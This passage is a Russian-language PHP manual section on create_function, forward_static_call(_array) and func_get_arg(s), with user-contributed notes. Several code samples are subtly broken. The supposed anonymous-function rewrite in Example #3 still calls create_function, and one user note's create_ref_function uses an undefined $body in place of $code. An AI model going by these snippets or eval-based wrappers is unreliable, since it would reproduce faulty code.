  • Создаёт функцию динамически, оценивая строку кода

create_function

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

create_function — Создаёт функцию динамически, оценивая строку кода

Внимание

Эта функция объявлена УСТАРЕВШЕЙ начиная с PHP 7.2.0 и была УДАЛЕНА в версии PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

create_function(string $args, string $code): string

Создаёт функцию динамически из переданных параметров и возвращает её уникальное имя.

Предостережение

Функция внутри себя делает вызов функции eval(), а значит имеет такие же проблемы с безопасностью, как и eval(). Также у неё плохие характеристики производительности и использования памяти, поскольку созданные функции являются глобальными и не могут быть освобождены.

Используйте анонимные функции.

Список параметров

Обычно рекомендуется передавать параметры в виде строк с одинарной кавычкой. При использовании строк с двойной кавычкой имена переменных в коде должны быть тщательно экранированы, например, вот так: \$somevar.

args

Аргументы функции в виде строки, разделённой запятыми.

code

Код функции.

Возвращаемые значения

Возвращает уникальное имя функции в виде строки или false, если возникла ошибка. Обратите внимание, что имя содержит непечатаемый символ ("\0"), поэтому следует соблюдать осторожность при печати имени или включении его в любую другую строку.

Примеры

Пример #1 Создание функции динамически с помощью create_function() или анонимных функций

Вы можете использовать динамически созданную функцию, чтобы, например, создать функцию на основе информации, собранной во время выполнения. Во-первых, используя функцию create_function():

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo $newfunc(2, M_E) . "\n";
?>

Теперь тот же код, используя анонимную функцию; обратите внимание, что код и аргументы больше не содержатся в строках:

<?php
$newfunc = function($a,$b) { return "ln($a) + ln($b) = " . log($a * $b); };
echo $newfunc(2, M_E) . "\n";
?>

Результат выполнения приведённого примера:

ln(2) + ln(2.718281828459) = 1.6931471805599

Пример #2 Создание общей функции-обработчика с помощью create_function() или анонимных функций

Другим вариантом использования может быть общая функция-обработчик, которая может применять набор операций к списку параметров:

<?php
function process($var1, $var2, $farr)
{
foreach ($farr as $f) {
echo $f($var1, $var2) . "\n";
}
}

// создаём кучу математических функций
$farr = array(
create_function('$x,$y', 'return "тригонометрия: ".(sin($x) + $x*cos($y));'),
create_function('$x,$y', 'return "гипотенуза: ".sqrt($x*$x + $y*$y);'),
create_function('$a,$b', 'if ($a >=0) {return "b*a^2 = ".$b*sqrt($a);} else {return false;}'),
create_function('$a,$b', "return \"min(b^2+a, a^2,b) = \".min(\$a*\$a+\$b,\$b*\$b+\$a);"),
create_function('$a,$b', 'if ($a > 0 && $b != 0) {return "ln(a)/b = ".log($a)/$b; } else { return false; }')
);

echo "\nИспользование первого массива динамических функций\n";
echo "Параметры: 2.3445, M_PI\n";
process(2.3445, M_PI, $farr);

// теперь создаём кучу функций обработки строк
$garr = array(
create_function('$b,$a', 'if (strncmp($a, $b, 3) == 0) return "** \"$a\" '.
'и \"$b\"\n** для меня одинаковы! (смотря по первым 3 символам)";'),
create_function('$a,$b', 'return "CRCs: " . crc32($a) . ", ".crc32($b);'),
create_function('$a,$b', 'return "similar(a,b) = " . similar_text($a, $b, $p) . "($p%)";')
);
echo "\nИспользование второго массива динамических функций\n";
process("Варкалось. Хливкие шорьки пырялись по наве", "Варан ползёт", $garr);
?>

И снова, тот же самый код с использованием анонимных функций. Обратите внимание, что имена переменных в коде больше не нужно экранировать, поскольку они не заключены в строку.

<?php
function process($var1, $var2, $farr)
{
foreach ($farr as $f) {
echo $f($var1, $var2) . "\n";
}
}

// создаём кучу математических функций
$farr = array(
function($x,$y) { return "тригонометрия: ".(sin($x) + $x*cos($y)); },
function($x,$y) { return "гипотенуза: ".sqrt($x*$x + $y*$y); },
function($a,$b) { if ($a >=0) {return "b*a^2 = ".$b*sqrt($a);} else {return false;} },
function($a,$b) { return "min(b^2+a, a^2,b) = " . min($a*$a+$b, $b*$b+$a); },
function($a,$b) { if ($a > 0 && $b != 0) {return "ln(a)/b = ".log($a)/$b; } else { return false; } }
);

echo "\nИспользование первого массива динамических функций\n";
echo "Параметры: 2.3445, M_PI\n";
process(2.3445, M_PI, $farr);

// теперь создаём кучу функций обработки строк
$garr = array(
function($b,$a) { if (strncmp($a, $b, 3) == 0) return "** \"$a\" " .
"и \"$b\"\n** для меня одинаковы! (смотря по первым 3 символам)"; },
function($a,$b) { return "CRCs: " . crc32($a) . ", ".crc32($b); },
function($a,$b) { return "similar(a,b) = " . similar_text($a, $b, $p) . "($p%)"; }
);
echo "\nИспользование второго массива динамических функций\n";
process("Варкалось. Хливкие шорьки пырялись по наве", "Варан ползёт", $garr);
?>

Результат выполнения приведённого примера:

Использование первого массива динамических функций
Параметры: 2.3445, M_PI
тригонометрия: -1.6291725057799
гипотенуза: 3.9199852871011
b*a^2 = 4.8103313314525
min(b^2+a, a^2,b) = 8.6382729035898
ln(a)/b = 0.27122299212594

Использование второго массива динамических функций
** "Варан ползёт" и "Варкалось. Хливкие шорьки пырялись по наве"
** для меня одинаковы! (смотря по первым 3 символам)
CRCs: 2672527412, 2269828269
similar(a,b) = 16(31.683168316832%)

Пример #3 Использование динамических функций в качестве callback-функций

Возможно, самым распространённым использованием динамических функций является передача их в качестве callback-функций, например, при использовании array_walk() или usort().

<?php
$av = array("the ", "a ", "that ", "this ");
array_walk($av, create_function('&$v,$k', '$v = $v . "mango";'));
print_r($av);
?>

Преобразование приведённого выше кода в анонимную функцию:

<?php
$av = array("о, ", "эх, ", "то ", "это ");
array_walk($av, create_function('&$v,$k', '$v = $v . "манго";'));
print_r($av);
?>

Результат выполнения приведённого примера:

Array
(
  [0] => о, манго
  [1] => эх, манго
  [2] => то манго
  [3] => это манго
)

Сортировка строк от самой длинной до самой короткой с помощью create_function():

<?php
$sv = array("мало", "много", "большая строка", "строка строка строка");
echo "Оригинальный массив:\n";
print_r($sv);
echo "Отсортированный:\n";
usort($sv, create_function('$a,$b','return strlen($b) - strlen($a);'));
print_r($sv);
?>

Преобразование приведённого выше кода в анонимную функцию:

<?php
$sv = array("мало", "много", "большая строка", "строка строка строка");
echo "Оригинальный массив:\n";
print_r($sv);
echo "Отсортированный:\n";
usort($sv, function($a,$b) { return strlen($b) - strlen($a); });
print_r($sv);
?>

Результат выполнения приведённого примера:

Оригинальный массив:
Array
(
    [0] => мало
    [1] => много
    [2] => большая строка
    [3] => строка строка строка
)
Отсортированный:
Array
(
    [0] => строка строка строка
    [1] => большая строка
    [2] => много
    [3] => мало
)

Смотрите также

  • Анонимные функции

User Contributed Notes

lombax85 at gmail dot com 18-Apr-2021 02:40
For who *really* needs the create_function() on php8 (because of legacy code that cannot be changed easily) there is this: "composer require lombax85/create_function".
tamagochi_man 09-Oct-2018 07:44
Whilst it was correct 11 years ago, the statement of Dan D is not so correct any moreю Anonymous functions are now objects of a class Closure and are safely collected by garbage collector.
CertaiN 19-Sep-2013 11:49
Best wapper:

<?php

function create_lambda($args, $code) {
    static $func;
    if (!isset($func[$args][$code])) {
        $func[$args][$code] = create_function($args, $code);
    }
    return $func[$args][$code];
}
kak dot serpom dot po dot yaitsam at gmail dot com 27-Jun-2012 12:17
Try this to boost performance of your scripts (increase maxCacheSize):

<?php
runkit_function_copy('create_function', 'create_function_native');
runkit_function_redefine('create_function', '$arg,$body', 'return __create_function($arg,$body);');

function __create_function($arg, $body) {
    static $cache = array();
    static $maxCacheSize = 64;
    static $sorter;

    if ($sorter === NULL) {
        $sorter = function($a, $b) {
            if ($a->hits == $b->hits) {
                return 0;
            }

            return ($a->hits < $b->hits) ? 1 : -1;
        };
    }

    $crc = crc32($arg . "\\x00" . $body);

    if (isset($cache[$crc])) {
        ++$cache[$crc][1];
        return $cache[$crc][0];
    }

    if (sizeof($cache) >= $maxCacheSize) {
        uasort($cache, $sorter);
        array_pop($cache);
    }

    $cache[$crc] = array($cb = eval('return function('.$arg.'){'.$body.'};'), 0);
    return $cb;
}
?>
Dave H 24-Mar-2011 06:47
The following function is very useful for creating an alias of a user function.
For built-in functions, it is less useful because default values are not available, so function aliases for built-in functions must have all parameters supplied, whether optional or not.

<?php
function create_function_alias($function_name, $alias_name)
{
    if(function_exists($alias_name))
        return false;
    $rf = new ReflectionFunction($function_name);
    $fproto = $alias_name.'(';
    $fcall = $function_name.'(';
    $need_comma = false;

    foreach($rf->getParameters() as $param)
    {
        if($need_comma)
        {
            $fproto .= ',';
            $fcall .= ',';
        }

        $fproto .= '$'.$param->getName();
        $fcall .= '$'.$param->getName();

        if($param->isOptional() && $param->isDefaultValueAvailable())
        {
            $val = $param->getDefaultValue();
            if(is_string($val))
                $val = "'$val'";
            $fproto .= ' = '.$val;
        }
        $need_comma = true;
    }
    $fproto .= ')';
    $fcall .= ')';

    $f = "function $fproto".PHP_EOL;
    $f .= '{return '.$fcall.';}';

    eval($f);
    return true;
}
?>
edgar at goodforall dot eu 02-Jul-2009 07:45
Just a little toy I thought up, I would like to share. Creates an anonymous function, which let you use a class  as a function.

In php 5.3 there is support for real functors  (trough __invoke):

<?php
function createFunctor($className){
        $content = "
                static \$class;
                if(!\$class){
                        \$class = new $className;
                }
                return \$class->run(\$args);
        ";
        $f = create_function('$args', $content);
        return $f;

}
class test {
        public function run($args){
                print $args;
        }
}
$test = createFunctor('test');
$test('hello world');
?>
neo at nowhere dot com 28-Aug-2008 01:56
In response to kkaiser at revolution-records dot net's note, even tho PHP will allow you to use
<?
$myfunc = create_function('$this', $code);
?>
You can NOT use a reference to "$this" inside of the anonymous function, as PHP will complain that you are using a reference to "$this" in a non-object context.

Currently, I have not found a work-around for this...
Alan FUNG 07-Aug-2008 12:24
$f = create_function('','echo "function defined by create_function";');
$f();

result:
function defined by create_function

You may define no return in function body while you are using create_function.
Rene Saarsoo 06-Feb-2008 02:31
Here has been some discussion about the "memory leak" create_function() can create.

What create_function() actually does, is creating an ordinary function with name chr(0).lambda_n where n is some number:

<?php
$f = create_function('', 'return 1;');

function lambda_1() { return 2; }

$g = "lambda_1";
echo $g(); // outputs: 2

$h = chr(0)."lambda_1";
echo $h(); // outputs: 1
?>
TSE-WebDesign 18-Aug-2007 09:55
Here's how to call a runtime-created function from another runtime-created function:
<?php
        $get_func = create_function('$func', 'return substr($func,1);');
        $get_value = create_function('$index','return pow($index,$index);');
        $another_func = create_function('$a', '$func="\x00"."'.$get_func($get_value).'";return $func($a);');
        echo $another_func(2); # result is 4
?>
kkaiser at revolution-records dot net 13-Apr-2007 01:10
In the process of migrating a PHP4 codebase to PHP5, I ran into a peculiar problem. In the library, every class was derived from a generic class called 'class_container'. 'class_container' contained an array called runtime_functions and a method called class_function that was as follows:

<?php
function class_function($name,$params,$code) {

  $this->runtime_functions[$name] = create_function($params,$code);

}
?>

In a subclass of class_container, there was a function that utilized class_function() to store some custom lambda functions that were self-referential:

<?php
function myfunc($name,$code) {

  $this->class_function($name,'$theobj','$this=&$theobj;'.$code);

}
?>

In PHP4, this worked just fine. The idea was to write blocks of code at the subclass level, such as "echo $this->id;", then simply $MYOBJ->myfunc("go","echo $this->id;"); and later call it like $MYOBJ->runtime_functions["go"]();

It essentially worked exactly like binding anonymous functions to objects in Javascript.

Note how the "$this" keyword had to be manually redefined for the $code block to work.

In PHP5, however, you can't redeclare $this without getting a fatal error, so the code had to be updated to:

<?php
function myfunc($name,$code) {

  $this->class_function($name,'$this',$code);

}
?>

Apparently create_function() allows you to set $this via a function argument, allowing you to bind anonymous functions to instantiated objects. Thought it might be useful to somebody.
Dan D 23-Oct-2006 07:22
Beware when using anonymous functions in PHP as you would in languages like Python, Ruby, Lisp or Javascript.  As was stated previously, the allocated memory is never released; they are not objects in PHP -- they are just dynamically named global functions -- so they don't have scope and are not subject to garbage collection.

So, if you're developing anything remotely reusable (OO or otherwise), I would avoid them like the plague.  They're slow, inefficient and there's no telling if your implementation will end up in a large loop.  Mine ended up in an iteration over ~1 million records and quickly exhasted my 500MB-per-process limit.
Phlyst 06-Oct-2006 05:10
In reply to info at adaniels dot nl:

You may not be able to use __FUNCTION__ in a lambda (thanks for pointing it out; I was having that problem just now), but you can use $GLOBALS to work around it if you're assigning the function to a variable. I reimplemented array_walk_recursive() in PHP4 like this:

<?php
$array_walk_recursive = create_function('&$array, $callback',
    'foreach($array as $element) {
        if(is_array($element)) {
            $funky = $GLOBALS["array_walk_recursive"];
            $funky($element, $callback);
        }
        else {
            $callback($element);
        }
    }');
?>
Josh J 27-Sep-2006 12:45
In regards to the recursion issue by info at adaniels dot nl

Anon function recursion by referencing the function variable in the correct scope.
<?php
$fn2 = create_function('$a', 'echo $a; if ($a < 10) call_user_func($GLOBALS["fn2"], ++$a);');
$fn2(1);
?>
info at adaniels dot nl 10-May-2006 03:42
Note that using __FUNCTION__ in a an anonymous function, will always result '__lambda_func'.

<?php
    $fn = create_function('', 'echo __FUNCTION__;');
    $fn();
    // Result: __lambda_func
    echo $fn;
    // Result: ?lambda_2 (the actual first character cannot be displayed)
?>

This means that a anonymous function can't be used recursively. The following code (recursively counting to 10) results in an error:
<?php
    $fn2 = create_function('$a', 'echo $a; if ($a < 10) call_user_func(__FUNCTION__, $a++);');
    $fn2(1);
    // Warning: call_user_func(__lambda_func) [function.call-user-func]: First argument is expected to be a valid callback in T:/test/test.php(21) : runtime-created function on line 1
?>
josh at janrain dot com 03-Mar-2006 10:21
Beware! This is merely a convenience function that generates a unique name for a regular function. It is *not* a closure or even an anonymous function. It is just a regular function that gets named for you.
Joshua E Cook 19-Jan-2006 04:43
Functions created by create_function() cannot return a value by reference.  The function below creates a function that can.  The arguments are the same as create_function().  Note that these arguments are passed, unmodified, to eval(), so be sure that data passed in is sanitized.

<?php
/**
 * create_ref_function
 * Create an anonymous (lambda-style) function
 * which returns a reference
 * see http://php.net/create_function
 */
function
create_ref_function( $args, $code )
{
    static $n = 0;

    $functionName = sprintf('ref_lambda_%d',++$n);

    $declaration = sprintf('function &%s(%s) {%s}',$functionName,$args,$body);

    eval($declaration);

    return $functionName;
}
?>
boards at gmail dot com 31-Dec-2005 11:18
If you were checking to see if a function is made properly, this would be a better way of checking:

<?php
$fnc = @create_function('$arg1,$arg2,$arg3', 'return true;');
# make that function whatever you want
if (empty($fnc)) {
  die('Could not create function $fnc.');
}

# although, the follow will NOT work
if (empty(create_function('$arg', 'return $arg;'))) {
  die('Could not create anonymous function.');
}
# you would get an error regarding not being able to use a
# return value in writeable context (i.e. a return value is
# a const in C, and the function empty() doesn't use a
# const void* parameter
?>
MagicalTux at FF.ST 09-Mar-2004 10:25
neo at gothic-chat d0t de wrote :
Beware of memory-leaks, the garbage-collection seems to 'oversee' dynamically created functions!

Not really...

In fact, PHP can not "unassign" functions. So if you create a function, it won't be deleted until the end of the script, even if you unset the variable containing its name.

If you need to change a part of a function everytime you run a loop, think of a way to make a more general function or try using eval :) (functions are made to be re-used. If you need to run your own piece of code once, eval is much better).
neo at gothic-chat d0t de 20-Jan-2004 08:54
Beware of memory-leaks, the garbage-collection seems to 'oversee' dynamically created functions!

I used a function like this to replace special characters in links with their htmlentities:
<?php
$text = preg_replace_callback (
    "/(<(frame src|a href|form action)=\")([^\"]+)(\"[^>]*>)/i",
    create_function (
        '$matches',
        'return $matches[1] . htmlentities ($matches[3]) . $matches[4];'
    ),
    $text);
?>

After 1000 calls, the process used about 5MB more than before. In my situation this boosted up the memory-size of one PHP-process up to over 100MB!

In such cases, better store the function in a global variable.
DB on music_ml at yahoo dot com dot ar 02-Apr-2003 04:58
[EDIT by danbrown AT php DOT net: Combined user-corrected post with previous (incorrect) post.]

You can't refer to a class variable from an anonymous function inside a class method using $this.  Anonymous functions don't inherit the method scope.  You'll have to do this:

<?php
class AnyClass {

 var $classVar = 'some regular expression pattern';

 function classMethod() {

   $_anonymFunc = create_function( '$arg1, $arg2', 'if ( eregi($arg2, $arg1) ) { return true; } else { return false; } ' );

   $willWork = $_anonymFunc('some string', $classVar);

 }

}
?>
x-empt[a_t]ispep.cx 05-Jul-2001 11:41
Create_function enables the ability to change the scope of functions.  You might have a class where it needs to define a GLOBAL function.  This is possible, like:

<?php
        class blah {
                function blah() {
                        $z=create_function('$arg1string','return "function-z-".$arg1string;');
                        $GLOBALS['z']=$z;
                }
        }
        $blah_object=new blah;

        $result=$GLOBALS['z']('Argument 1 String');
        echo $result;
?>

Making a function escape it's defined scope can be useful in many situations.


Вызов статического метода и передача параметров в виде массива

  • « create_function
  • forward_static_call »
  • PHP Manual
  • Функции управления функциями
  • Вызов статического метода и передача параметров в виде массива

forward_static_call_array

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

forward_static_call_array — Вызов статического метода и передача параметров в виде массива

Описание

forward_static_call_array(callable $callback, array $args): mixed

Вызывает пользовательскую функцию или метод, заданные в параметре callback. Эта функция должна вызываться в контексте метода и не может быть вызвана вне класса. Она использует позднее статическое связывание. Все аргументы пересылаются в метод по значению и в виде массива, аналогично call_user_func_array().

Список параметров

callback

Функция или метод для вызова. Этот параметр может быть массивом с именем класса и метода, либо строкой с именем функции.

parameter

Массив, содержащий все аргументы вызова функции.

Замечание:

Помните, что аргументы forward_static_call_array() не передаются по ссылке.

Возвращаемые значения

Возвращает результат функции или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования forward_static_call_array()

<?php

class A
{
const NAME = 'A';
public static function test() {
$args = func_get_args();
echo static::NAME, " ".join(',', $args)." \n";
}
}

class B extends A
{
const NAME = 'B';

public static function test() {
echo self::NAME, "\n";
forward_static_call_array(array('A', 'test'), array('more', 'args'));
forward_static_call_array( 'test', array('other', 'args'));
}
}

B::test('foo');

function test() {
$args = func_get_args();
echo "C ".join(',', $args)." \n";
}

?>

Результат выполнения приведённого примера:

B
B more,args
C other,args

Смотрите также

  • forward_static_call() - Вызов статического метода
  • call_user_func() - Вызывает callback-функцию, заданную в первом параметре
  • call_user_func_array() - Вызывает callback-функцию с массивом параметров
  • is_callable() - Проверяет, что значение может быть вызвано как функция в текущей области видимости

User Contributed Notes

israfilov93 at gmal dot com 15-Aug-2018 07:04
one of academic example, when forward_static_call() can be useful

<?php

class A
{
    public static function test()
    {
        var_dump('we were here');
        return static::class;
    }
}

class B extends A
{
    public static function test()
    {
        return self::class;
    }
}

class C extends B
{
    public static function test()
    {
        $grandParent = get_parent_class(parent::class); // $grandParent is A
        return forward_static_call([$grandParent, __FUNCTION__]); // calls A::test()
    }
}

// prints
// string(12) "we were here"
// string(1) "C"
var_dump(C::test());
nino dot skopac at gmail dot com 30-Jul-2016 02:49
Regarding namespaces:

Be sure to include fully namespaced class path:

<?php
forward_static_call_array(
    array('NAMESPACE\CLASS_NAME', 'STATIC_METHOD'),
    $params
);


Вызов статического метода

  • « forward_static_call_array
  • func_get_arg »
  • PHP Manual
  • Функции управления функциями
  • Вызов статического метода

forward_static_call

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

forward_static_call — Вызов статического метода

Описание

forward_static_call(callable $callback, mixed ...$args): mixed

Вызов пользовательской функции или метода, заданные в параметре callback с последующими аргументами. Эта функция должна вызываться в контексте метода и не может быть вызвана вне класса. Она использует позднее статическое связывание.

Список параметров

callback

Функция или метод для вызова. Этот параметр может быть массивом с именем класса и метода, либо строкой с именем функции.

args

Ноль или более параметров, которые будут переданы вызываемой функции.

Возвращаемые значения

Возвращает результат функции или false, в случае возникновения ошибки.

Примеры

Пример #1 Пример использования forward_static_call()

<?php

class A
{
const NAME = 'A';
public static function test() {
$args = func_get_args();
echo static::NAME, " ".join(',', $args)." \n";
}
}

class B extends A
{
const NAME = 'B';

public static function test() {
echo self::NAME, "\n";
forward_static_call(array('A', 'test'), 'more', 'args');
forward_static_call( 'test', 'other', 'args');
}
}

B::test('foo');

function test() {
$args = func_get_args();
echo "C ".join(',', $args)." \n";
}

?>

Результат выполнения приведённого примера:

B
B more,args
C other,args

Смотрите также

  • forward_static_call_array() - Вызов статического метода и передача параметров в виде массива
  • call_user_func_array() - Вызывает callback-функцию с массивом параметров
  • call_user_func() - Вызывает callback-функцию, заданную в первом параметре
  • is_callable() - Проверяет, что значение может быть вызвано как функция в текущей области видимости

User Contributed Notes

jhibbard at gmail dot com 19-Jun-2012 07:55
Example usage via calls outside of the class and within an object:

<?php
/**
 * @author Jonathon Hibbard
 */
class foo {
  # used to verify we're actually setting something..
  private static $value = '';

  /**
   * Simple setter for the static method setValue...
   */
  public static function set($method_identifier, $value_to_pass = '') {
    # make sure we have the right method format...
    # another semi-useful example is like this (useful for REST-like requests...): str_replace(" ", "", ucwords(str_replace("_", " ",  $method_identifier)));
    $static_method = 'set' . ucfirst(strtolower(trim($method_identifier)));

    if(method_exists(__CLASS__, $static_method)) {
      //Note:  this will not work and will throw PHP Parse error:  syntax error, unexpected '::'
      //__CLASS__::$static_method($value_to_pass);

      foo::$static_method($value_to_pass);

      echo "\tCalling forward_static_call with pure string and value param:\n";
      forward_static_call(__CLASS__ . "::" . $static_method, $value_to_pass);

      echo "\tCalling forward_static_call with class, method array and value param:\n";
      forward_static_call(array(__CLASS__, $static_method), $value_to_pass);
    }
  }

  /**
   * Set self::$value to something?
   */
  public static function setValue($value_recieved = '') {
    echo "\t\tsetValue called with param of " . var_export($value_recieved, true) . "!\n";

    echo "\t\tSetting Private 'value'...\n";

    self::$value = $value_recieved;

    echo "\t\tChecking the Private 'value':\n";
    if(!empty(self::$value)) {
      echo "\t\t\tPrivate 'value' was set to '" . self::$value . "' as expected!\n";
    } else {
      echo "\t\t\tPrivate 'value' was not set!\n";
    }

    # Reset...
    self::$value = '';
  }

  /**
   * Create an object and test calling the static method from within this realm...
   */
  public function __construct() {
    echo "\tCalling from within constructor..\n";
    foo::set('value','Something else from within the instance!');
  }
}

echo "\n============ Calling by static method first ============\n";
foo::set('value','Something from outside of the foo class!');

echo "\n============ Calling by static method without a value next ============\n";
foo::set('value');

echo "\n============ Calling by createing an instance next ============\n";
new foo();
?>
arthur dot techarts at gmail dot com 12-Jul-2011 07:39
Example to understand this function and difference with call_user_func:

<?php
class Beer {
    const NAME = 'Beer!';
    public static function printed(){
        echo 'static Beer:NAME = '. static::NAME . PHP_EOL;
    }
}

class Ale extends Beer {
    const NAME = 'Ale!';
    public static function printed(){
        forward_static_call(array('parent','printed'));
        call_user_func(array('parent','printed'));

        forward_static_call(array('Beer','printed'));
        call_user_func(array('Beer','printed'));
    }
}

Ale::printed();
echo '</pre>';
?>


Возвращает элемент из списка аргументов

  • « forward_static_call
  • func_get_args »
  • PHP Manual
  • Функции управления функциями
  • Возвращает элемент из списка аргументов

func_get_arg

(PHP 4, PHP 5, PHP 7, PHP 8)

func_get_arg — Возвращает элемент из списка аргументов

Описание

func_get_arg(int $position): mixed

Функция получает аргумент из списка аргументов пользовательской функции по заданной позиции.

Функцию допускается использовать совместно с функциями func_get_args() и func_num_args(), чтобы создавать функции с переменным количеством аргументов.

Список параметров

position

Смещение аргумента. Аргументы функции отсчитываются с нуля.

Возвращаемые значения

Функция возвращает аргумент по позиции или false, если возникла ошибка.

Ошибки

Функция генерирует предупреждение при вызове из-за пределов определения функции или если значение позиции position больше количества аргументов, которые действительно передали.

Примеры

Пример #1 Пример использования функции func_get_arg()

<?php

function foo()
{
$numargs = func_num_args();

echo "Количество аргументов: $numargs\n";

if ($numargs >= 2) {
echo "Второй аргумент: " . func_get_arg(1) . "\n";
}
}

foo(1, 2, 3);

?>

Результат выполнения приведённого примера:

Количество аргументов: 3
Второй аргумент: 2

Пример #2 Пример передачи в функцию func_get_arg() аргументов по ссылке и по значению

<?php

function byVal($arg) {
echo 'Передан : ', var_export(func_get_arg(0)), PHP_EOL;
$arg = 'baz';
echo 'После изменения : ', var_export(func_get_arg(0)), PHP_EOL;
}

function byRef(&$arg) {
echo 'Передан : ', var_export(func_get_arg(0)), PHP_EOL;
$arg = 'baz';
echo 'После изменения : ', var_export(func_get_arg(0)), PHP_EOL;
}

$arg = 'bar';
byVal($arg);
byRef($arg);

?>

Результат выполнения приведённого примера:

Передан : 'bar'
После изменения : 'baz'
Передан : 'bar'
После изменения : 'baz'

Примечания

Замечание:

Начиная с PHP 8.0.0 семейство функций func_*() предназначено для большей прозрачности в отношении именованных аргументов, обрабатывая аргументы так, как если бы все они были переданы позиционно, а отсутствующие аргументы заменяются их значениями по умолчанию. Функция игнорирует набор неизвестных именованных вариативных аргументов. К собранным неизвестным именованным аргументам можно получить доступ только через вариативный параметр.

Замечание:

Если аргументы были переданы по ссылке, то все изменения аргументов будут отражены на возвращаемых функцией значениях. В PHP 7 также будут возвращены текущие значения, если аргументы переданы по значению

Замечание: Функция возвращает только копии аргументов, которые передали, и не возвращает значения по умолчанию для аргументов, которые не передавали.

Смотрите также

  • Синтаксис ...
  • func_get_args() - Возвращает массив, который содержит список аргументов функции
  • func_num_args() - Возвращает количество аргументов, переданных функции

User Contributed Notes

gordon at abetz-rouse dot com dot au 23-Mar-2020 11:30
This function may work differently from php5 to php7, in the latter it seems to reference the variable, while in php5 it returns the original argument.
I have confirmed with the versions below, but this will require further confirmation as to whether this is a 5 versus 7 issue.

function test( $test ){

    $test = '123';

    echo func_get_arg(0);

}

test( '321' );

//in php 5.5.9, this script will write '321'
//in php 7.0.33, this script will write '123'
beta3designs [at] gmail [dot] com 06-Jul-2009 06:34
This functions seems so powerful... just when i saw it i thought about writing a fast average of n numbers function so here it is, it is very simple... example usage included.

<?php

//Calculate the average of the numbers given

function avg(){
    $sum = 0;
    for($i = 0; $i < func_num_args(); $i++){
        $sum += func_get_arg($i);
    }
    $avg = $sum / func_num_args();
    return $avg;
}

echo sprintf("%.2f",avg(2,1,2,1,3,4,5,1,3,6));
?>
mw atto lanfear dotto com 07-Dec-2004 02:56
func_get_arg() does not appear to be allowed to be used as a function argument itself within class constructors in PHP 5.0.2 (wonk-ay!!!):

<?php

class ABC
{
    function __construct()
    {
        foreach (func_get_args() as $name => $value)
        {
    echo <<<EOT
    <br/>
    $name : $value <br/>
    <br/>

EOT;
        }
    }
}

class DEF extends ABC
{
    function __construct()
    {
        parent::__construct(func_get_arg(0),
                                    func_get_arg(1),
                                    func_get_arg(2));
    }
}

$def = new DEF(123123, "asdfasdf", "blahblahblah");

?>

The above script generates:

Fatal error: func_get_arg(): Can't be used as a function parameter in c:\Inetpub\wwwroot\phpwasrc\chapter10\xxx.php on line 23

There are, however, no problems when passing these as parameters to regular functions.
anders at ingemann dot fakestuff dot de 03-Jun-2004 06:16
I actually think that there is need for such "do absolutely everything" functions. I use them mostly as tools for rapid prototyping.
And there is a method with which you may be able to pass several strings to a function: ereg();
Another use for such functions is to create little code snippets for other people out there. They won't have to edit the function any longer if they do not use a parameter. They just don't name it when calling the function.
This results in allrounder functions that are very robust in their use.Normally you just have a little code snippet (e.g. ip-blocking snippets). Through this type of programming you have whole functions.
mightye (at) mightye (dot) org 12-Mar-2004 09:45
func_get_arg() returns a *copy* of the argument, to my knowledge there is no way to retrieve references to a variable number of arguments.

I have a module system in my game at http://lotgd.net where I'd like to be able to pass a variable number of arguments to functions in a module, and pass them by reference if the module asks for it by reference, but you can't accept optional parameters as references, nor can you retrieve the reference on a variable number of arguments.  Looks like my modules will have to do with out the ability to accept parameters to their functions by reference.


Возвращает массив, который содержит список аргументов функции

  • « func_get_arg
  • func_num_args »
  • PHP Manual
  • Функции управления функциями
  • Возвращает массив, который содержит список аргументов функции

func_get_args

(PHP 4, PHP 5, PHP 7, PHP 8)

func_get_args — Возвращает массив, который содержит список аргументов функции

Описание

func_get_args(): array

Функция получает массив, который содержит список аргументов функции.

Функцию допускается вызывать с функциями func_num_args() и func_get_arg(), чтобы разрешить пользовательским функциям принимать список аргументов переменной длины.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция возвращает массив, в котором каждый элемент — копия соответствующего члена списка аргументов текущей пользовательской функции.

Ошибки

Функция генерирует предупреждение, если вызывается вне пользовательской функции.

Примеры

Пример #1 Пример использования функции func_get_args()

<?php

function foo()
{
$numargs = func_num_args();

echo "Количество аргументов: $numargs\n";

if ($numargs >= 2) {
echo "Второй аргумент: " . func_get_arg(1) . "\n";
}

$arg_list = func_get_args();

for ($i = 0; $i < $numargs; $i++) {
echo "Аргумент №$i: " . $arg_list[$i] . "\n";
}
}

foo(1, 2, 3);

?>

Результат выполнения приведённого примера:

Количество аргументов: 3
Второй аргумент: 2
Аргумент №0: 1
Аргумент №1: 2
Аргумент №2: 3

Пример #2 Пример передачи в функцию func_get_args() аргументов по ссылке и по значению

<?php

function byVal($arg) {
echo 'Передан : ', var_export(func_get_args()), PHP_EOL;
$arg = 'baz';
echo 'После изменения : ', var_export(func_get_args()), PHP_EOL;
}

function byRef(&$arg) {
echo 'Передан : ', var_export(func_get_args()), PHP_EOL;
$arg = 'baz';
echo 'После изменения : ', var_export(func_get_args()), PHP_EOL;
}

$arg = 'bar';
byVal($arg);
byRef($arg);

?>

Результат выполнения приведённого примера:

Передан : array (
0 => 'bar',
)
После изменения : array (
0 => 'baz',
)
Передан : array (
0 => 'bar',
)
После изменения : array (
0 => 'baz',
)

Примечания

Замечание:

Начиная с PHP 8.0.0 семейство функций func_*() предназначено для большей прозрачности в отношении именованных аргументов, обрабатывая аргументы так, как если бы все они были переданы позиционно, а отсутствующие аргументы заменяются их значениями по умолчанию. Функция игнорирует набор неизвестных именованных вариативных аргументов. К собранным неизвестным именованным аргументам можно получить доступ только через вариативный параметр.

Замечание:

Если аргументы были переданы по ссылке, то все изменения аргументов будут отражены на возвращаемых функцией значениях. В PHP 7 также будут возвращены текущие значения, если аргументы переданы по значению

Замечание: Функция возвращает только копии аргументов, которые передали, и не возвращает значения по умолчанию для аргументов, которые не передавали.

Смотрите также

  • Синтаксис ...
  • func_get_arg() - Возвращает элемент из списка аргументов
  • func_num_args() - Возвращает количество аргументов, переданных функции
  • ReflectionFunctionAbstract::getParameters() - Получает параметры

User Contributed Notes

hans at loltek dot net 20-Oct-2023 09:34
I wanted an associative list of arguments, in case some else does too, I'm leaving it here.

